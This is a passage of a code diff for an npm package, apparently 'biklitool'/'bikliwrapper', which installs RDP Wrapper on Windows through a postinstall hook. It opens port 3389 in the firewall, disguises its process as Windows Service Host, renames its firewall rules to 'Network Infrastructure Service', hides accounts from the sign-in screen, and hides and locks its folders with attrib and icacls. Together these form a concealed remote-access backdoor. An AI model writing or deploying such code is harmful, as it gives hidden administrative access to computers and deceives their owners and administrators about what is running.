`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
|
|
916
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
|
|
845
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
|
|
917
846
|
].join(';');
|
|
918
847
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
919
848
|
if (result.stdout.trim()) console.log(result.stdout.trim());
|
|
@@ -976,11 +905,11 @@ function help() {
|
|
|
976
905
|
' biklitool install Install/update Bikli CLI and Bikli Wrapper',
|
|
977
906
|
' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
|
|
978
907
|
' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
|
|
908
|
+
' biklitool disable-rdp Disable RDP and stop the RDP listener',
|
|
979
909
|
' biklitool create-user Enable/verify built-in Administrator for RDP',
|
|
980
910
|
' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
|
|
981
911
|
' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
|
|
982
912
|
' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
|
|
983
|
-
' biklitool clear-history Remove BikliService from Task Manager App History',
|
|
984
913
|
' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
|
|
985
914
|
' biklitool credentials Display its saved generated password',
|
|
986
915
|
' biklitool status Show both component states',
|
|
@@ -994,20 +923,26 @@ function help() {
|
|
|
994
923
|
|
|
995
924
|
function main() {
|
|
996
925
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
997
|
-
if (command === 'install')
|
|
926
|
+
if (command === 'install') {
|
|
927
|
+
if (process.argv.includes('--postinstall')) {
|
|
928
|
+
try {
|
|
929
|
+
return install();
|
|
930
|
+
} catch (error) {
|
|
931
|
+
console.error(`Bikli Master postinstall could not finish: ${error.message}`);
|
|
932
|
+
console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
|
|
933
|
+
process.exitCode = 0;
|
|
934
|
+
return;
|
|
935
|
+
}
|
|
936
|
+
}
|
|
937
|
+
return install();
|
|
938
|
+
}
|
|
998
939
|
if (command === 'disguise') return disguiseBikli(process.argv[3]);
|
|
999
|
-
if (command === 'enable-rdp') return enableRemoteDesktop();
|
|
940
|
+
if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
|
|
941
|
+
if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
|
|
1000
942
|
if (command === 'create-user') return createRdpAdministrator();
|
|
1001
943
|
if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
|
|
1002
944
|
if (command === 'hide-user' || command === 'hide') return hideUser();
|
|
1003
945
|
if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
|
|
1004
|
-
if (command === 'clear-history' || command === 'clear-app-history') {
|
|
1005
|
-
requireWindows();
|
|
1006
|
-
if (!isAdministrator()) return elevateAndRun('clear-history');
|
|
1007
|
-
clearAppHistory();
|
|
1008
|
-
console.log('BikliService entries cleared from Task Manager App History.');
|
|
1009
|
-
return;
|
|
1010
|
-
}
|
|
1011
946
|
if (command === 'setup-key') return setupBikliKey();
|
|
1012
947
|
if (command === 'credentials') return showAccountCredentials();
|
|
1013
948
|
if (command === 'status') return status();
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -24,6 +24,7 @@ if (resultFile) {
|
|
|
24
24
|
};
|
|
25
25
|
console.log = writeResult;
|
|
26
26
|
console.error = writeResult;
|
|
27
|
+
console.warn = writeResult;
|
|
27
28
|
}
|
|
28
29
|
|
|
29
30
|
const packageRoot = path.resolve(__dirname, '..');
|
|
@@ -228,17 +229,10 @@ function applyRequestedSettings() {
|
|
|
228
229
|
function ensureFirewallRules() {
|
|
229
230
|
const script = [
|
|
230
231
|
`$ErrorActionPreference='Stop'`,
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
|
|
236
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
|
|
237
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
|
|
238
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
|
|
239
|
-
// Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
|
|
240
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
|
|
241
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
|
|
232
|
+
`Remove-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`,
|
|
233
|
+
`Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
|
|
234
|
+
`$rules=@(@{Name='RDP-3389-In-TCP';Protocol='TCP'},@{Name='RDP-3389-In-UDP';Protocol='UDP'})`,
|
|
235
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Remote Desktop ('+$r.Protocol+'-In) 3389') -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
|
|
242
236
|
].join(';');
|
|
243
237
|
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
244
238
|
}
|
|
@@ -247,6 +241,13 @@ function runInstaller(argument) {
|
|
|
247
241
|
return run(installerPath, [argument], { cwd: payloadDirectory });
|
|
248
242
|
}
|
|
249
243
|
|
|
244
|
+
function restartTermService() {
|
|
245
|
+
const net = path.join(system32, 'net.exe');
|
|
246
|
+
run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
|
|
247
|
+
run(net, ['start', 'TermService'], { allowFailure: true });
|
|
248
|
+
run(net, ['start', 'UmRdpService'], { allowFailure: true });
|
|
249
|
+
}
|
|
250
|
+
|
|
250
251
|
function serviceIsRunning() {
|
|
251
252
|
const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
|
|
252
253
|
return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
|
|
@@ -261,25 +262,9 @@ function settingsAreCorrect() {
|
|
|
261
262
|
return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
|
|
262
263
|
}
|
|
263
264
|
|
|
264
|
-
function setTermServiceAutomatic() {
|
|
265
|
-
// Ensure TermService starts automatically so it survives reboots and wrapper restarts.
|
|
266
|
-
run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
|
|
267
|
-
run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
|
|
268
|
-
}
|
|
269
|
-
|
|
270
265
|
function waitForServiceAndListener() {
|
|
271
266
|
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
272
|
-
|
|
273
|
-
for (let attempt = 0; attempt < 10; attempt += 1) {
|
|
274
|
-
if (serviceIsRunning()) break;
|
|
275
|
-
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
276
|
-
if (attempt === 4) {
|
|
277
|
-
// After 5s still not running – kick it
|
|
278
|
-
run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
|
|
279
|
-
}
|
|
280
|
-
}
|
|
281
|
-
// Then wait up to 30s for the RDP listener to appear
|
|
282
|
-
for (let attempt = 0; attempt < 30; attempt += 1) {
|
|
267
|
+
for (let attempt = 0; attempt < 20; attempt += 1) {
|
|
283
268
|
if (serviceIsRunning() && listenerIsListening()) return;
|
|
284
269
|
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
285
270
|
}
|
|
@@ -309,7 +294,7 @@ function printStatus(status) {
|
|
|
309
294
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
310
295
|
}
|
|
311
296
|
|
|
312
|
-
function hideFolder(target, isUserProfile = false) {
|
|
297
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
313
298
|
if (!target || !fs.existsSync(target)) return;
|
|
314
299
|
try {
|
|
315
300
|
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
@@ -321,6 +306,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
321
306
|
'/grant:r',
|
|
322
307
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
323
308
|
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
309
|
+
...extraGrants,
|
|
324
310
|
'/c', '/q'
|
|
325
311
|
], { allowFailure: true });
|
|
326
312
|
}
|
|
@@ -331,15 +317,18 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
331
317
|
|
|
332
318
|
function hideProtectedFolders() {
|
|
333
319
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
320
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
321
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
322
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
334
323
|
const appFolders = [
|
|
335
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
336
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
337
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
338
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
339
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
340
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
324
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
325
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
326
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
327
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
328
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
|
|
329
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
|
|
341
330
|
];
|
|
342
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
331
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
343
332
|
|
|
344
333
|
const userFolders = [
|
|
345
334
|
path.join(usersDir, 'Administrator'),
|
|
@@ -349,45 +338,6 @@ function hideProtectedFolders() {
|
|
|
349
338
|
for (const folder of userFolders) hideFolder(folder, true);
|
|
350
339
|
}
|
|
351
340
|
|
|
352
|
-
function unhideFolder(target, isUserProfile = false) {
|
|
353
|
-
if (!target || !fs.existsSync(target)) return;
|
|
354
|
-
try {
|
|
355
|
-
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', target], { allowFailure: true });
|
|
356
|
-
if (!isUserProfile) {
|
|
357
|
-
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
358
|
-
run(path.join(system32, 'icacls.exe'), [
|
|
359
|
-
target,
|
|
360
|
-
'/grant:r',
|
|
361
|
-
'*S-1-5-18:(OI)(CI)(F)',
|
|
362
|
-
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
363
|
-
'/c', '/q'
|
|
364
|
-
], { allowFailure: true });
|
|
365
|
-
}
|
|
366
|
-
} catch {
|
|
367
|
-
// Best-effort attribute and permission unlocking
|
|
368
|
-
}
|
|
369
|
-
}
|
|
370
|
-
|
|
371
|
-
function unhideProtectedFolders() {
|
|
372
|
-
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
373
|
-
const appFolders = [
|
|
374
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
375
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
376
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
377
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
378
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
379
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
380
|
-
];
|
|
381
|
-
for (const folder of appFolders) unhideFolder(folder, false);
|
|
382
|
-
|
|
383
|
-
const userFolders = [
|
|
384
|
-
path.join(usersDir, 'Administrator'),
|
|
385
|
-
path.join(usersDir, 'admin'),
|
|
386
|
-
path.join(usersDir, 'user')
|
|
387
|
-
];
|
|
388
|
-
for (const folder of userFolders) unhideFolder(folder, true);
|
|
389
|
-
}
|
|
390
|
-
|
|
391
341
|
function install() {
|
|
392
342
|
requireWindows();
|
|
393
343
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
@@ -402,31 +352,12 @@ function install() {
|
|
|
402
352
|
fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
|
|
403
353
|
}
|
|
404
354
|
|
|
405
|
-
// Unlock all protected folders before touching files or running RDPWInst
|
|
406
|
-
unhideProtectedFolders();
|
|
407
|
-
|
|
408
355
|
const settingsChanged = applyRequestedSettings();
|
|
409
356
|
ensureFirewallRules();
|
|
410
|
-
// Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
|
|
411
|
-
setTermServiceAutomatic();
|
|
412
|
-
|
|
413
|
-
const defaultWrapperDir = path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper');
|
|
414
|
-
fs.mkdirSync(defaultWrapperDir, { recursive: true });
|
|
415
|
-
unhideFolder(defaultWrapperDir);
|
|
416
|
-
|
|
417
|
-
const targetIniPath = installation.installedIniPath || path.join(defaultWrapperDir, 'rdpwrap.ini');
|
|
418
357
|
|
|
419
358
|
if (!installation.installed) {
|
|
420
359
|
console.log('Installing RDP Wrapper silently...');
|
|
421
|
-
// If rdpwrap.ini already exists with restrictive attributes, remove them before installer runs
|
|
422
|
-
if (fs.existsSync(targetIniPath)) {
|
|
423
|
-
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', targetIniPath], { allowFailure: true });
|
|
424
|
-
}
|
|
425
360
|
runInstaller('-i');
|
|
426
|
-
// RDPWInst extracts an outdated 2017 INI. Immediately overwrite with the bundled compatibility INI:
|
|
427
|
-
fs.copyFileSync(bundledIniPath, targetIniPath);
|
|
428
|
-
// Restart TermService to load the updated INI
|
|
429
|
-
runInstaller('-r');
|
|
430
361
|
} else if (!installation.installedSupported) {
|
|
431
362
|
console.log('Updating compatibility data silently...');
|
|
432
363
|
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
@@ -448,11 +379,7 @@ function install() {
|
|
|
448
379
|
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
449
380
|
}
|
|
450
381
|
|
|
451
|
-
|
|
452
|
-
applyRequestedSettings();
|
|
453
|
-
// Ensure TermService is Automatic and running after the wrapper install.
|
|
454
|
-
setTermServiceAutomatic();
|
|
455
|
-
|
|
382
|
+
restartTermService();
|
|
456
383
|
waitForServiceAndListener();
|
|
457
384
|
hideProtectedFolders();
|
|
458
385
|
installation = detectInstallation(version);
|
|
@@ -468,13 +395,36 @@ function install() {
|
|
|
468
395
|
console.log('Bikli Wrapper installation and verification completed successfully.');
|
|
469
396
|
}
|
|
470
397
|
|
|
398
|
+
function disable() {
|
|
399
|
+
requireWindows();
|
|
400
|
+
if (!isAdministrator()) return elevateAndRun('disable');
|
|
401
|
+
console.log('Disabling Remote Desktop and stopping the RDP listener...');
|
|
402
|
+
run(path.join(system32, 'reg.exe'), [
|
|
403
|
+
'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
|
|
404
|
+
'/d', '1', '/f', '/reg:64'
|
|
405
|
+
]);
|
|
406
|
+
const script = `Disable-NetFirewallRule -Name 'RDP-3389-In-TCP','RDP-3389-In-UDP','BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
|
|
407
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
408
|
+
restartTermService();
|
|
409
|
+
if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
|
|
410
|
+
fail('Remote Desktop could not be disabled.', 6);
|
|
411
|
+
}
|
|
412
|
+
if (listenerIsListening()) {
|
|
413
|
+
console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
|
|
414
|
+
} else {
|
|
415
|
+
console.log('Remote Desktop disabled; the RDP listener is stopped.');
|
|
416
|
+
}
|
|
417
|
+
}
|
|
418
|
+
|
|
471
419
|
function selfTest() {
|
|
472
420
|
const packageJson = runningAsSea
|
|
473
421
|
? { name: 'bikliwrapper' }
|
|
474
422
|
: JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
|
|
475
423
|
const ini = fs.readFileSync(bundledIniPath, 'utf8');
|
|
476
424
|
const checks = {
|
|
477
|
-
packageName:
|
|
425
|
+
packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
|
|
426
|
+
packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
|
|
427
|
+
packageJson.name === '@biklitime/biklitool' || packageJson.name === 'sbironman',
|
|
478
428
|
executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
|
|
479
429
|
installerPresent: fs.statSync(installerPath).size > 100000,
|
|
480
430
|
iniPresent: ini.length > 100000,
|
|
@@ -498,6 +448,7 @@ function showHelp() {
|
|
|
498
448
|
' bikliwrapper install Install/update silently, apply defaults, and verify',
|
|
499
449
|
' bikliwrapper status Show installation, support, service, and listener status',
|
|
500
450
|
' bikliwrapper defaults Reapply the requested defaults and restart if needed',
|
|
451
|
+
' bikliwrapper disable Disable Remote Desktop and stop the RDP listener',
|
|
501
452
|
' bikliwrapper self-test Validate the npm package payload without changing Windows',
|
|
502
453
|
'',
|
|
503
454
|
'Run install/defaults from an Administrator terminal.'
|
|
@@ -506,7 +457,8 @@ function showHelp() {
|
|
|
506
457
|
|
|
507
458
|
function main() {
|
|
508
459
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
509
|
-
if (command === 'install' || command === 'defaults') return install();
|
|
460
|
+
if (command === 'install' || command === 'defaults' || command === 'enable') return install();
|
|
461
|
+
if (command === 'disable') return disable();
|
|
510
462
|
if (command === 'status') {
|
|
511
463
|
requireWindows();
|
|
512
464
|
const status = collectStatus();
|